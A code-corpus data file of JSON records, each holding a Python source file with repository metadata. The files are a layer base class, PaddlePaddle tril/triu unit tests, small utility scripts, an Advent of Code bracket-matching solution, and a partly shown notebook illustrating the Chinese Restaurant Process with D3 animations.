{"text": "import numpy as np\n\n\nclass Layer(object):\n    def __init__(self):\n        self.input_shape = None\n    \n    def name(self):\n        return self.__class__.__name__\n\n    def forward(self, data):\n        return NotImplementedError()\n    \n    def backward(self, grads, **kwargs):\n        return NotImplementedError()\n\n    def initialize(self, initializer, otimizer, input_shape, **kwargs):\n        pass\n\n    def output_shape(self):\n        return NotImplementedError()\n    \n    def params(self):\n        return NotImplementedError()\n    \n    def dparams(self):\n        return NotImplementedError()", "meta": {"hexsha": "d2f466e4dbde7632b2e29a02ceb17a0e59a8dbe8", "size": 592, "ext": "py", "lang": "Python", "max_stars_repo_path": "deepscratch/models/layers/layer.py", "max_stars_repo_name": "mari-linhares/deep-python-scratch", "max_stars_repo_head_hexsha": "b447ed20c981db5ffef810b6f80d1638cf7d2ccd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2018-09-18T00:29:10.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-20T17:58:30.000Z", "max_issues_repo_path": "deepscratch/models/layers/layer.py", "max_issues_repo_name": "Jagannathrk2020/deeplearning-from-scratch", "max_issues_repo_head_hexsha": "b447ed20c981db5ffef810b6f80d1638cf7d2ccd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "deepscratch/models/layers/layer.py", "max_forks_repo_name": "Jagannathrk2020/deeplearning-from-scratch", "max_forks_repo_head_hexsha": "b447ed20c981db5ffef810b6f80d1638cf7d2ccd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2018-09-18T15:47:59.000Z", "max_forks_repo_forks_event_max_datetime": "2020-08-09T03:10:34.000Z", "avg_line_length": 21.9259259259, "max_line_length": 71, "alphanum_fraction": 0.6334459459, "include": true, "reason": "import numpy", "num_tokens": 112, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10970576660095782, "lm_q1q2_score": 0.05442435386811207}}
{"text": "#   Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.\n# # Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at #\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport sys\nsys.path.append(\"..\")\n\nimport paddle\nimport paddle.fluid.core as core\nimport paddle.fluid as fluid\nimport paddle.tensor as tensor\nimport unittest\nimport numpy as np\nfrom op_test import OpTest\nfrom op_test_xpu import XPUOpTest\nfrom paddle.fluid.framework import Program, program_guard\nfrom xpu.get_test_cover_info import create_test_class, get_xpu_op_support_types, XPUOpTestWrapper\n\npaddle.enable_static()\n\n\nclass XPUTestTrilTriuOp(XPUOpTestWrapper):\n    def __init__(self):\n        self.op_name = 'tril_triu'\n        self.use_dynamic_create_class = False\n\n    class TestTrilTriuOp(XPUOpTest):\n        def setUp(self):\n            self.init_dtype()\n            self.initTestCase()\n            self.real_op_type = np.random.choice(['triu', 'tril'])\n            self.real_np_op = getattr(np, self.real_op_type)\n            self.set_xpu()\n            self.op_type = \"tril_triu\"\n            if self.dtype == np.int32:\n                self.X = np.arange(\n                    1, self.get_Xshape_prod() + 1,\n                    dtype=self.dtype).reshape(self.Xshape)\n            else:\n                self.X = np.random.random(self.Xshape).astype(dtype=self.dtype)\n            self.inputs = {'X': self.X}\n            self.attrs = {\n                'diagonal': self.diagonal,\n                'lower': True if self.real_op_type == 'tril' else False,\n            }\n            self.outputs = {\n                'Out': self.real_np_op(self.X, self.diagonal)\n                if self.diagonal else self.real_np_op(self.X)\n            }\n\n        def init_dtype(self):\n            self.dtype = self.in_type\n\n        def get_Xshape_prod(self):\n            ret = 1\n            for v in self.Xshape:\n                ret *= v\n            return ret\n\n        def set_xpu(self):\n            self.__class__.use_xpu = True\n            self.__class__.no_need_check_grad = True\n            self.__class__.op_type = self.real_op_type\n\n        def test_check_output(self):\n            if paddle.is_compiled_with_xpu():\n                place = paddle.XPUPlace(0)\n                self.check_output_with_place(place)\n\n        def initTestCase(self):\n            self.diagonal = None\n            self.Xshape = (10, 10)\n\n    class TestTrilTriuOp1(TestTrilTriuOp):\n        def initTestCase(self):\n            self.diagonal = -3\n            self.Xshape = (5, 5)\n\n    class TestTrilTriuOp2(TestTrilTriuOp):\n        def initTestCase(self):\n            self.diagonal = 4\n            self.Xshape = (11, 17)\n\n    class TestTrilTriuOp3(TestTrilTriuOp):\n        def initTestCase(self):\n            self.diagonal = 10\n            self.Xshape = (2, 25, 25)\n\n    class TestTrilTriuOp4(TestTrilTriuOp):\n        def initTestCase(self):\n            self.diagonal = -10\n            self.Xshape = (1, 2, 33, 11)\n\n    class TestTrilTriuOp5(TestTrilTriuOp):\n        def initTestCase(self):\n            self.diagonal = 11\n            self.Xshape = (1, 1, 99)\n\n    class TestTrilTriuOp6(TestTrilTriuOp):\n        def initTestCase(self):\n            self.diagonal = 5\n            self.Xshape = (1, 2, 3, 5, 99)\n\n    class TestTrilTriuOp7(TestTrilTriuOp):\n        def initTestCase(self):\n            self.diagonal = -100\n            self.Xshape = (2, 2, 3, 4, 5)\n\n\nclass TestTrilTriuOpError(unittest.TestCase):\n    def test_errors1(self):\n        paddle.enable_static()\n        data = fluid.data(shape=(20, 22), dtype='float32', name=\"data1\")\n        op_type = np.random.choice(['triu', 'tril'])\n        errmsg = {\n            \"diagonal: TypeError\":\n            \"diagonal in {} must be a python Int\".format(op_type),\n        }\n        expected = list(errmsg.keys())[0]\n        with self.assertRaisesRegex(\n                eval(expected.split(':')[-1]), errmsg[expected]):\n            getattr(tensor, op_type)(x=data, diagonal='2022')\n\n    def test_errors2(self):\n        paddle.enable_static()\n        data = fluid.data(shape=(200, ), dtype='float32', name=\"data2\")\n        op_type = np.random.choice(['triu', 'tril'])\n        errmsg = {\n            \"input: ValueError\":\n            \"x shape in {} must be at least 2-D\".format(op_type),\n        }\n        expected = list(errmsg.keys())[0]\n        with self.assertRaisesRegex(\n                eval(expected.split(':')[-1]), errmsg[expected]):\n            getattr(tensor, op_type)(x=data, diagonal=[None])\n\n\nsupport_types = get_xpu_op_support_types('tril_triu')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestTrilTriuOp, stype)\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "fb6b28d9c282512caf3405d56a4321df9e2668dd", "size": 5151, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_tril_triu_op_xpu.py", "max_stars_repo_name": "DevilCarp/Paddle", "max_stars_repo_head_hexsha": "04325d2cbefb029a4478bdc069d3279cd566ac6a", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2022-03-30T09:55:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T09:55:49.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_tril_triu_op_xpu.py", "max_issues_repo_name": "DevilCarp/Paddle", "max_issues_repo_head_hexsha": "04325d2cbefb029a4478bdc069d3279cd566ac6a", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_tril_triu_op_xpu.py", "max_forks_repo_name": "DevilCarp/Paddle", "max_forks_repo_head_hexsha": "04325d2cbefb029a4478bdc069d3279cd566ac6a", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.4480519481, "max_line_length": 97, "alphanum_fraction": 0.6053193555, "include": true, "reason": "import numpy", "num_tokens": 1271, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4263216071250873, "lm_q2_score": 0.12765263361856616, "lm_q1q2_score": 0.05442107591801708}}
{"text": "import numpy as np #the numpy library\nimport matplotlib.pyplot as plt #Matplotlib's pyplot\n\nimport sys #gives access to a C-like sys library\nimport os #gives access to the operating system\n\nprint(sys.argv) #print any command line arguments\nprint(os.getcwd()) #prints current working directory", "meta": {"hexsha": "11c9ac1828582fe0d3f30a847b0d27fbcffb0ccd", "size": 292, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful-modules.py", "max_stars_repo_name": "eshutan/astr-19", "max_stars_repo_head_hexsha": "2c5f6f2d307518c651c980bffc56cc9d3a651762", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful-modules.py", "max_issues_repo_name": "eshutan/astr-19", "max_issues_repo_head_hexsha": "2c5f6f2d307518c651c980bffc56cc9d3a651762", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-03-31T18:04:57.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T18:04:57.000Z", "max_forks_repo_path": "useful-modules.py", "max_forks_repo_name": "eshutan/astr-19", "max_forks_repo_head_hexsha": "2c5f6f2d307518c651c980bffc56cc9d3a651762", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.5, "max_line_length": 52, "alphanum_fraction": 0.7979452055, "include": true, "reason": "import numpy", "num_tokens": 64, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4263215925474903, "lm_q2_score": 0.1276526286405008, "lm_q1q2_score": 0.05442107193489168}}
{"text": "from __future__ import print_function\nimport sys\nimport numpy as np\nimport scipy\nimport matplotlib\nimport h5py\nimport platform\n\nprint(\"Platform:\", sys.platform)\nprint(\"Python:\", sys.version)\nprint(\"Machine and architecture\", platform.machine(), *platform.architecture())\nprint(\"NumPy:\", np.version.version)\nprint(\"SciPy:\", scipy.version.version)\nprint(\"Matplotlib:\", matplotlib.__version__)\nprint(\"h5py:\", h5py.__version__)\n\n", "meta": {"hexsha": "d08ee5999d1dc19de32f65b9abcf4947fa05d18d", "size": 425, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_platform_information.py", "max_stars_repo_name": "pdebuyl-lab/colloidal_chemotaxis_companion", "max_stars_repo_head_hexsha": "aa4dbc6e054275cb63771604c350ab60c5b5b0e6", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python_platform_information.py", "max_issues_repo_name": "pdebuyl-lab/colloidal_chemotaxis_companion", "max_issues_repo_head_hexsha": "aa4dbc6e054275cb63771604c350ab60c5b5b0e6", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python_platform_information.py", "max_forks_repo_name": "pdebuyl-lab/colloidal_chemotaxis_companion", "max_forks_repo_head_hexsha": "aa4dbc6e054275cb63771604c350ab60c5b5b0e6", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.0, "max_line_length": 79, "alphanum_fraction": 0.7788235294, "include": true, "reason": "import numpy,import scipy", "num_tokens": 97, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.42632159254749036, "lm_q2_score": 0.12765262366243563, "lm_q1q2_score": 0.05442106981263501}}
{"text": "\"\"\"\n2021 Day 10\nhttps://adventofcode.com/2021/day/10\n\"\"\"\n\nfrom collections import deque\nfrom enum import Enum\nfrom functools import reduce\nfrom typing import Dict, Tuple\nfrom numpy import median\nimport aocd  # type: ignore\n\n\nclass ErrorType(Enum):\n    INCOMPLETE = 0\n    CORRUPTED = 1\n\n\nBRACKETS: Dict[str, str] = {\n    \"(\": \")\",\n    \"[\": \"]\",\n    \"{\": \"}\",\n    \"<\": \">\",\n}\n\n\ndef error_on_line(line: str) -> Tuple[ErrorType, str]:\n    chunks: deque[str] = deque()\n    for char in line:\n        if char in BRACKETS:\n            chunks.appendleft(char)\n        elif len(chunks) == 0:\n            return (ErrorType.CORRUPTED, char)\n        elif char != BRACKETS[chunks.popleft()]:\n            return (ErrorType.CORRUPTED, char)\n    return (ErrorType.INCOMPLETE, \"\".join(BRACKETS[char] for char in chunks))\n\n\nCORRUPT_ERROR_VALUES: Dict[str, int] = {\n    \"\": 0,\n    \")\": 3,\n    \"]\": 57,\n    \"}\": 1197,\n    \">\": 25137,\n}\n\n\ndef total_corrupted_errors(subsystem: str) -> int:\n    return sum(\n        CORRUPT_ERROR_VALUES[char]\n        for errortype, char in [error_on_line(line) for line in subsystem.split(\"\\n\")]\n        if errortype == ErrorType.CORRUPTED\n    )\n\n\nINCOMPLETE_ERROR_VALUES: Dict[str, int] = {\n    \")\": 1,\n    \"]\": 2,\n    \"}\": 3,\n    \">\": 4,\n}\n\n\ndef incomplete_error_score(brackets: str) -> int:\n    return reduce(\n        lambda total, bracket: (total * 5) + INCOMPLETE_ERROR_VALUES[bracket],\n        brackets,\n        0,\n    )\n\n\ndef median_incomplete_error(subsystem: str) -> int:\n    return int(\n        median(\n            [\n                incomplete_error_score(brackets)\n                for errortype, brackets in [\n                    error_on_line(line) for line in subsystem.split(\"\\n\")\n                ]\n                if errortype == ErrorType.INCOMPLETE\n            ]\n        )\n    )\n\n\ndef test_part1() -> None:\n    \"\"\"\n    Examples for Part 1.\n    \"\"\"\n    assert error_on_line(\"{([(<{}[<>[]}>{[]{[(<()>\") == (ErrorType.CORRUPTED, \"}\")\n    assert error_on_line(\"[[<[([]))<([[{}[[()]]]\") == (ErrorType.CORRUPTED, \")\")\n    assert error_on_line(\"[{[{({}]{}}([{[{{{}}([]\") == (ErrorType.CORRUPTED, \"]\")\n    assert error_on_line(\"[<(<(<(<{}))><([]([]()\") == (ErrorType.CORRUPTED, \")\")\n    assert error_on_line(\"<{([([[(<>()){}]>(<<{{\") == (ErrorType.CORRUPTED, \">\")\n    assert (\n        total_corrupted_errors(\n            \"\\n\".join(\n                (\n                    \"[({(<(())[]>[[{[]{<()<>>\",\n                    \"[(()[<>])]({[<{<<[]>>(\",\n                    \"{([(<{}[<>[]}>{[]{[(<()>\",\n                    \"(((({<>}<{<{<>}{[]{[]{}\",\n                    \"[[<[([]))<([[{}[[()]]]\",\n                    \"[{[{({}]{}}([{[{{{}}([]\",\n                    \"{<[[]]>}<{[{[{[]{()[[[]\",\n                    \"[<(<(<(<{}))><([]([]()\",\n                    \"<{([([[(<>()){}]>(<<{{\",\n                    \"<{([{{}}[<[[[<>{}]]]>[]]\",\n                )\n            )\n        )\n        == 26397\n    )\n\n\ndef test_part2() -> None:\n    \"\"\"\n    Examples for Part 2.\n    \"\"\"\n    assert error_on_line(\"[({(<(())[]>[[{[]{<()<>>\") == (\n        ErrorType.INCOMPLETE,\n        \"}}]])})]\",\n    )\n    assert error_on_line(\"[(()[<>])]({[<{<<[]>>(\") == (ErrorType.INCOMPLETE, \")}>]})\")\n    assert error_on_line(\"(((({<>}<{<{<>}{[]{[]{}\") == (\n        ErrorType.INCOMPLETE,\n        \"}}>}>))))\",\n    )\n    assert error_on_line(\"{<[[]]>}<{[{[{[]{()[[[]\") == (\n        ErrorType.INCOMPLETE,\n        \"]]}}]}]}>\",\n    )\n    assert error_on_line(\"<{([{{}}[<[[[<>{}]]]>[]]\") == (ErrorType.INCOMPLETE, \"])}>\")\n    assert incomplete_error_score(\"])}>\") == 294\n    assert incomplete_error_score(\"}}]])})]\") == 288957\n    assert incomplete_error_score(\")}>]})\") == 5566\n    assert incomplete_error_score(\"}}>}>))))\") == 1480781\n    assert incomplete_error_score(\"]]}}]}]}>\") == 995444\n    assert incomplete_error_score(\"])}>\") == 294\n    assert (\n        median_incomplete_error(\n            \"\\n\".join(\n                (\n                    \"[({(<(())[]>[[{[]{<()<>>\",\n                    \"[(()[<>])]({[<{<<[]>>(\",\n                    \"{([(<{}[<>[]}>{[]{[(<()>\",\n                    \"(((({<>}<{<{<>}{[]{[]{}\",\n                    \"[[<[([]))<([[{}[[()]]]\",\n                    \"[{[{({}]{}}([{[{{{}}([]\",\n                    \"{<[[]]>}<{[{[{[]{()[[[]\",\n                    \"[<(<(<(<{}))><([]([]()\",\n                    \"<{([([[(<>()){}]>(<<{{\",\n                    \"<{([{{}}[<[[[<>{}]]]>[]]\",\n                )\n            )\n        )\n        == 288957\n    )\n\n\ndef main() -> None:\n    \"\"\"\n    Calculate and output the solutions based on the real puzzle input.\n    \"\"\"\n    data = aocd.get_data(year=2021, day=10)\n\n    print(f\"Part 1: {total_corrupted_errors(data)}\")\n    print(f\"Part 2: {median_incomplete_error(data)}\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "91d879c58d5b31a3238a12ed3cf087494e8d4427", "size": 4732, "ext": "py", "lang": "Python", "max_stars_repo_path": "2021/day10.py", "max_stars_repo_name": "andypymont/adventofcode", "max_stars_repo_head_hexsha": "912aa48fc5b31ec9202fb9654380991fc62afcd1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "2021/day10.py", "max_issues_repo_name": "andypymont/adventofcode", "max_issues_repo_head_hexsha": "912aa48fc5b31ec9202fb9654380991fc62afcd1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "2021/day10.py", "max_forks_repo_name": "andypymont/adventofcode", "max_forks_repo_head_hexsha": "912aa48fc5b31ec9202fb9654380991fc62afcd1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.3526011561, "max_line_length": 86, "alphanum_fraction": 0.4089180051, "include": true, "reason": "from numpy", "num_tokens": 1352, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356685373537454, "lm_q2_score": 0.13477592437353622, "lm_q1q2_score": 0.054391095758704794}}
{"text": "import csv\nimport pandas as pd\nimport numpy as np", "meta": {"hexsha": "99a0a57fc7f310fb8326aa281fc799a1170e2c8f", "size": 49, "ext": "py", "lang": "Python", "max_stars_repo_path": "pre_processor.py", "max_stars_repo_name": "pamore/Product-Recommendation-System", "max_stars_repo_head_hexsha": "f643ceaef515d5bb5bc61b5fa727203d4e282e4a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pre_processor.py", "max_issues_repo_name": "pamore/Product-Recommendation-System", "max_issues_repo_head_hexsha": "f643ceaef515d5bb5bc61b5fa727203d4e282e4a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pre_processor.py", "max_forks_repo_name": "pamore/Product-Recommendation-System", "max_forks_repo_head_hexsha": "f643ceaef515d5bb5bc61b5fa727203d4e282e4a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.3333333333, "max_line_length": 19, "alphanum_fraction": 0.8163265306, "include": true, "reason": "import numpy", "num_tokens": 12, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.12421301969912354, "lm_q1q2_score": 0.054383378920211556}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Dirichlet Distribution\n\n# In[260]:\n\n\n\n\n\n# In[261]:\n\n\n\n\n\n# In[262]:\n\n\n\n\n\n# In[1]:\n\n\nfrom IPython.display import  HTML\n\ndef load_d3_in_cell_output():\n  display(HTML(\"<script src='https://d3js.org/d3.v6.min.js'></script>\"))\nget_ipython().events.register('pre_run_cell', load_d3_in_cell_output)\n\n\n# ## The Chinese Restaurant Process\n\n# In the thought problem, we will be examing a situation where a hungery person (\ud83e\udd14) enters a restrauant and needs to choose a table (\u26aa).\n# \n# This original was developed by xxx and a great resource to consider is Pasupat's (xxx).\n# \n# Here are the ground rules for this thought problem.\n#   \n\n# ## Rules for Our Thought Problem\n\n# ### 1. An Infinite Amount of Tables (\u26aa)\n# \n# We are depicting five tables (\u26aa\u26aa\u26aa\u26aa\u26aa) but we need to consider a situation where the number of tables are infinite. \n# \n# * \u26aa = \u221e\n\n# ### 2. A Hungry Person (\ud83e\udd14) Only Two Options\n# \n# When a hungry person (\ud83e\udd14) walks into the the restraunt they have two options: \n#     \n# * Either they sit a table (\u26aa) with someone else (\ud83d\ude03) \n# * or pick a new table  (\u26aa) \n# \n# To simplify this, here a decision chart. \n\n# In[2]:\n\n\nfrom IPython.display import SVG, display\ndisplay(SVG(url='https://raw.githubusercontent.com/dudaspm/LDA_Bias_Data/main/images/startCondition.svg'))\n\n\n# And to further reduce this down, we will be using this:\n\n# In[3]:\n\n\nfrom IPython.display import SVG, display\ndisplay(SVG(url='https://raw.githubusercontent.com/dudaspm/LDA_Bias_Data/main/images/simpleStartCondition.svg'))\n\n\n# ### 3. Many \u26aa & \ud83d\ude03, Only One Empty \u26aa\n# \n# This goes with #2, but in our scenario there will number of tables (\u26aa) with people (\ud83d\ude03), but when considering an empty table (\u26aa). We will only consider *one* of the infinite number of tables (\u26aa) open. Another way to consider this is either a hungry person (\ud83e\udd14):\n# * sits at the *one of possible many* tables (\u26aa) with someone else (\ud83d\ude03) \n# * *OR* they sit at the *one* new table  (\u26aa)\n\n# ### All Tables (\u26aa) are Equal\n# Notice that all the tables are equal distance away. So, there is no weighting based on the distance and each table is equally likely to be picked.     \n\n# In[4]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"runWeight()\" value=\"Run Animation\">\\n<div id=\"runWeight\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function runWeight() {\\n        var width = 500\\n        var height = 270\\n        var margin = 35\\n        var radius = 200\\n        \\n        d3.select(\"div#runWeight\").select(\"svg\").remove()\\n        var svg1 = d3.select(\"div#runWeight\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg1.selectAll(\"line\")\\n            .data(d3.range(5))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg1.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", \"white\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        svg1.append(\"text\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n    }\\n    runWeight()\\n</script>')\n\n\n# ### Key for Thought Problem\n# \n# > \ud83e\udd14 - hungry person\n# * The person who needs to find a seat at a table\n# \n# > \ud83d\ude03 - person eating\n# * A person already at a table\n# \n# > \u26aa - a possible table\n# * A potential seat for the hungry person to sit at\n# \n# > \u26ab - a not possible table \n# * Not a potential seat for the hungry person to sit at (see Rule #3)\n\n# ## All Solutions \ud83d\udca5TO THE EXTREME\ud83d\udca5\n\n# :::{note}\n# \"To the extreme!\" was a popular phrase from the early 1990s. Meaning \"to take something to its furthest limits.\" Most credit [Robert Matthew Van Winkle](https://en.wikipedia.org/wiki/Vanilla_Ice) for the phrase. \n# :::\n\n# Now that we have our ground rules, let's approach this problem from, what I am calling, the extreme positions. Up to this point, we have not mentioned a single bit of math, but this section will contain conversations around probabilities. Here are three scenarios for our extreme positions. \n# \n# 1. The Social Butterfly\n# 2. The Gambler\n# 3. The Long Day\n\n# ### 1. The Social Butterfly\n# \n# The social butterfly assumes every person that enters the restraunts wants to sit at the table with the most people. \n\n# In[5]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"social1()\" value=\"Run Animation\">\\n<div id=\"social1\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function social1() {\\n        var width = 500\\n        var height = 270\\n        var margin = 35\\n        var radius = 200\\n        \\n        d3.select(\"div#social1\").select(\"svg\").remove()\\n        var svg2 = d3.select(\"div#social1\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg2.selectAll(\"line\")\\n            .data(d3.range(1))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg2.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=0)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"1\",\"0\",\"0\",\"0\",\"0\"]\\n        svg2.selectAll(\"text\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg2.append(\"text\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n    }\\n    social1()\\n</script>')\n\n\n# In[6]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"social2()\" value=\"Run Animation\">\\n<div id=\"social2\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function social2() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#social2\").select(\"svg\").remove()\\n        var svg3 